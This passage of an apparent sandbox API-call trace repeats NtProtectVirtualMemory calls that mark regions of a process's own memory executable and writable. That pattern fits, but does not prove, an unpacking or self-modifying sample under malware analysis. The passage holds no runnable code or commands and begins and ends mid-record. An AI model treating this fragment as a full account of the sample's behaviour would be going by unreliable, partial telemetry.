NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.774] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.790] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.815] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.831] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.847] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.872] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.888] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.914] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.929] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.954] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.970] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.986] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.011] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.027] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.052] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.070] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.098] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.113] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.128] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.153] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.181] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.206] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.221] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.236] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.262] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.277] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.302] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.316] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.330] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.348] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.358] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.369] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.524] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.535] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.545] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.556] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.573] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.585] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.595] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.606] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.622] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.633] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.644] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.655] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.673] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.684] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.694] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.705] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.764] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.782] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.803] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.829] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.845] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.870] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.886] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.902] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.927] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.945] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.971] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.986] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.012] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.030] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.055] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.072] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.088] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.113] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.129] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.145] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.185] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.201] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.227] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.243] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.259] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.286] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.302] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.333] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.353] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.378] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.394] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.419] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.435] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.456] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.466] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.478] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.488] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.506] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.516] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.527] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.537] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, 